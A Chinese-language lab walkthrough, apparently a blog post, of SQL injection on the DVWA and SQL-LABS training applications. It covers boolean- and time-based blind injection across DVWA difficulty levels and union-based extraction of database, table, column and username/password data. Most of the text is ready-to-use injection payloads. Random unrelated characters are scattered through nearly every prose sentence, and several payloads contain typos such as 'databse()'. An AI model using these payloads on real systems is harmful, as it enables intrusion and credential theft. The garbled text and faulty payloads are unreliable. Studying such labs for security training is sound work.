特別注意:High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個廉油,也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入苗傅,因為sqlmap在注入過程中娱两,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋金吗,也就沒辦法進(jìn)一步注入十兢。
SQL-Injection(Blind)
SQL盲注,與一般注入的區(qū)別在于摇庙,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果旱物,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果,甚至連注入語句是否執(zhí)行都無從得知卫袒,因此盲注的難度要比一般注入高宵呛。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。
盲注中常用的幾個函數(shù):
substr(a,b,c):從b位置開始夕凝,截取字符串a(chǎn)的c長度
count():計算總數(shù)
ascii():返回字符的ascii碼
length():返回字符串的長度 left(a,b):從左往右截取字符串a(chǎn)的前b個字符
sleep(n):將程序掛起n秒
手工盲注思路
手工盲注的過程宝穗,就像你與一個機(jī)器人聊天户秤,這個機(jī)器人知道的很多,但只會回答“是”或者“不是”逮矛,因此你需要詢問它這樣的問題肩祥,例如“數(shù)據(jù)庫名字的第一個字母是不是a袄⒖凇蔫仙?”澜沟,通過這種機(jī)械的詢問,最終獲得你想要的數(shù)據(jù)晋控。
盲注分為基于布爾的盲注汞窗、基于時間的盲注以及基于報錯的盲注,這里只演示基于布爾的盲注與基于時間的盲注赡译。
下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較):
1.判斷是否存在注入仲吏,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫名
3.猜解數(shù)據(jù)庫中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
Low
分析:
Low級別的代碼對參數(shù)id沒有做任何檢查、過濾蝌焚,存在明顯的SQL注入漏洞裹唆,同時SQL語句查詢返回的結(jié)果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這里是SQL盲注漏洞。
漏洞利用
基于布爾的盲注:
1.判斷是否存在注入综看,注入是字符型還是數(shù)字型
當(dāng)輸入的參數(shù)為字符串時品腹,稱為字符型。字符型和數(shù)字型最大的一個區(qū)別在于红碑,數(shù)字型不需要單引號來閉合舞吭,而字符串一般需要通過單引號來閉合的。
輸入1析珊,顯示相應(yīng)用戶存在:
輸入1’ and 1=1 #羡鸥,顯示存在:
輸入1’ and 1=2 #,顯示不存在:
2.猜解當(dāng)前數(shù)據(jù)庫名
想要猜解數(shù)據(jù)庫名忠寻,首先要猜解數(shù)據(jù)庫名的長度惧浴,然后挨個猜解字符。
輸入1’ and length(database())=1 #奕剃,顯示不存在衷旅;
輸入1’ and length(database())=2 #,顯示不存在纵朋;
輸入1’ and length(database())=3 #柿顶,顯示不存在;
輸入1’ and length(database())=4 #操软,顯示存在:
說明數(shù)據(jù)庫名長度為4嘁锯。
下面采用二分法猜解數(shù)據(jù)庫名。
輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在家乘,說明數(shù)據(jù)庫名的第一個字符的ascii值大于97(小寫字母a的ascii值)蝗羊;
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在仁锯,說明數(shù)據(jù)庫名的第一個字符的ascii值小于122(小寫字母z的ascii值)耀找;
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在扑馁,說明數(shù)據(jù)庫名的第一個字符的ascii值小于109(小寫字母m的ascii值)涯呻;
輸入1' and ascii(substr(databse(),1,1))<103 #凉驻,顯示存在腻要,說明數(shù)據(jù)庫名的第一個字符的ascii值小于103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #涝登,顯示不存在雄家,說明數(shù)據(jù)庫名的第一個字符的ascii值不小于100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #胀滚,顯示不存在趟济,說明數(shù)據(jù)庫名的第一個字符的ascii值不大于100(小寫字母d的ascii值),所以數(shù)據(jù)庫名的第一個字符的ascii值為100咽笼,即小寫字母d顷编。
…
重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫名(dvwa)了剑刑。
3.猜解數(shù)據(jù)庫中的表名
首先猜解數(shù)據(jù)庫中表的數(shù)量:
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明數(shù)據(jù)庫中共有兩個表媳纬。
接著挨個猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字符為小寫字母g施掏。
重復(fù)上述步驟钮惠,即可猜解出兩個表名(guestbook、users)七芭。
4.猜解表中的字段名
首先猜解表中字段的數(shù)量:
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表有8個字段素挽。
接著挨個猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個字段為7個字符長度。
采用二分法狸驳,即可猜解出所有字段名预明。
5.猜解數(shù)據(jù)
同樣采用二分法。
基于時間的盲注:
1.判斷是否存在注入耙箍,注入是字符型還是數(shù)字型
輸入1' and sleep(5) #撰糠,感覺到明顯延遲;
輸入1 and sleep(5) #究西,沒有延遲窗慎;
說明存在字符型的基于時間的盲注。
2.猜解當(dāng)前數(shù)據(jù)庫名
首先猜解數(shù)據(jù)名的長度:
1' and if(length(database())=1,sleep(5),1) # 沒有延遲 1' and if(length(database())=2,sleep(5),1) # 沒有延遲 1' and if(length(database())=3,sleep(5),1) # 沒有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲
說明數(shù)據(jù)庫名長度為4個字符。
接著采用二分法猜解數(shù)據(jù)庫名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲 說明數(shù)據(jù)庫名的第一個字符為小寫字母d遮斥。
…
重復(fù)上述步驟峦失,即可猜解出數(shù)據(jù)庫名。
3.猜解數(shù)據(jù)庫中的表名
首先猜解數(shù)據(jù)庫中表的數(shù)量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說明數(shù)據(jù)庫中有兩個表术吗。
接著挨個猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說明第一個表名的長度為9個字符尉辑。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的數(shù)量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說明users表中有8個字段较屿。
接著挨個猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說明users表的第一個字段長度為7個字符隧魄。
采用二分法即可猜解出各個字段名。
5.猜解數(shù)據(jù)
同樣采用二分法隘蝎。
Medium
分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號
\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義购啄,同時前端頁面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入嘱么。
漏洞利用
雖然前端使用了下拉選擇菜單狮含,但我們依然可以通過抓包改參數(shù)id,提交惡意構(gòu)造的查詢參數(shù)曼振。
上文有詳細(xì)的盲注流程几迄,這里就簡要演示幾個。
首先是基于布爾的盲注:
抓包改參數(shù)id為1 and length(database())=4 #冰评,顯示存在映胁,說明數(shù)據(jù)庫名的長度為4個字符;
抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #甲雅,顯示存在解孙,說明數(shù)據(jù)中的第一個表名長度為9個字符;
抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #务荆,(0×7573657273為users的16進(jìn)制)妆距,顯示存在,說明uers表有8個字段函匕。
然后是基于時間的盲注:
抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #娱据,明顯延遲,說明數(shù)據(jù)庫名的長度為4個字符盅惜;
抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #中剩,明顯延遲,說明數(shù)據(jù)中的第一個表名長度為9個字符抒寂;
抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #结啼,明顯延遲,說明uers表有8個字段屈芜。
High
分析:
High級別的代碼利用cookie傳遞參數(shù)id郊愧,當(dāng)SQL查詢結(jié)果為空時朴译,會執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時間的盲注属铁。同時在 SQL查詢語句中添加了LIMIT 1眠寿,希望以此控制只輸出一個結(jié)果。
漏洞利用
雖然添加了LIMIT 1焦蘑,但是我們可以通過#將其注釋掉盯拱。但由于服務(wù)器端執(zhí)行sleep函數(shù),會使得基于時間盲注的準(zhǔn)確性受到影響例嘱,這里我們只演示基于布爾的盲注:
抓包將cookie中參數(shù)id改為1’ and length(database())=4 #狡逢,顯示存在,說明數(shù)據(jù)庫名的長度為4個字符拼卵;
抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #奢浑,顯示存在,說明數(shù)據(jù)中的第一個表名長度為9個字符间学;
抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #殷费,(0×7573657273 為users的16進(jìn)制)印荔,顯示存在低葫,說明uers表有8個字段。
SQL-LABS
Less-1(GET單引號字符型注入)
#查看頁面變化仍律,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù) #不能用#【坑點1】
?id=1' order by 3 --+
?id=1' order by 4 %23
#聯(lián)合查詢查看顯示位 #id要為負(fù)數(shù)【坑點2】
?id=-1' union select 1,2,3 --+
#爆庫【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+
#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+
坑點1:URL框中的sql語句中不能用直接使用#
號嘿悬,要用--+
(等價于--空格)或者%23
,但是輸入框中可以用#
水泉,應(yīng)為輸入框提交是會執(zhí)行一次URL編碼善涨,#
會被編譯成%23
原因是url中#
號是用來指導(dǎo)瀏覽器動作的(例如錨點),對服務(wù)器端完全無用草则。所以钢拧,HTTP請求中不包括#
將#號改成url的編碼%23
或者使用--+
就可以了
坑點2:在聯(lián)合查詢查看顯示位,使用union聯(lián)合查詢后發(fā)現(xiàn)頁面返回的數(shù)據(jù)沒變炕横,這是因為如果左邊的SQL語句正確執(zhí)行那么就會只返回左邊第一個查詢語句的運行結(jié)果源内,那么我們只要讓第一行查詢的結(jié)果是空集(即union左邊的select子句查詢結(jié)果為空),那么我們union右邊的查詢結(jié)果自然就成為了第一行份殿,就打印在網(wǎng)頁上了膜钓。
這個id傳遞的是數(shù)字,而且一般都是從1開始自增的卿嘲,我們可以把id值設(shè)為非正數(shù)(負(fù)數(shù)或0)颂斜,浮點數(shù),字符型或字符串都行拾枣,主要是使左邊的查詢語句報錯就行沃疮。
Less-2(GET數(shù)字型注入)
#查看頁面變化盒让,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù)
?id=1 order by 3
?id=1 order by 4
#聯(lián)合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users
Less-3(GET單引號變形字符型注入)
#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報錯 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯誤提示可知后臺查詢語句應(yīng)為select * from * where id = ('$id') LIMIT 0,1
#構(gòu)造?id=1') --+ 進(jìn)行測試司蔬。訪問正常糯彬,猜測正確。
#確定字段數(shù)
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Less-4(GET雙引號字符型注入)
#查看頁面變化葱她,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報錯 to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯誤提示可知后臺查詢語句應(yīng)為select * from * where id = ("$id") LIMIT 0,1
#構(gòu)造?id=1") --+ 進(jìn)行測試撩扒。訪問正常,猜測正確吨些。
#確定字段數(shù)
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-5(雙注入GET單引號字符型注入)
一些感悟
我自己我在學(xué)習(xí)Web安全的過程中搓谆,也是倍感枯燥,總想急于求成豪墅,想要簡單學(xué)一哈就能實現(xiàn)各種????操作泉手,顯然不是那么容易的,所以請靜下心來鉆研吧偶器,慢慢來斩萌,比較快!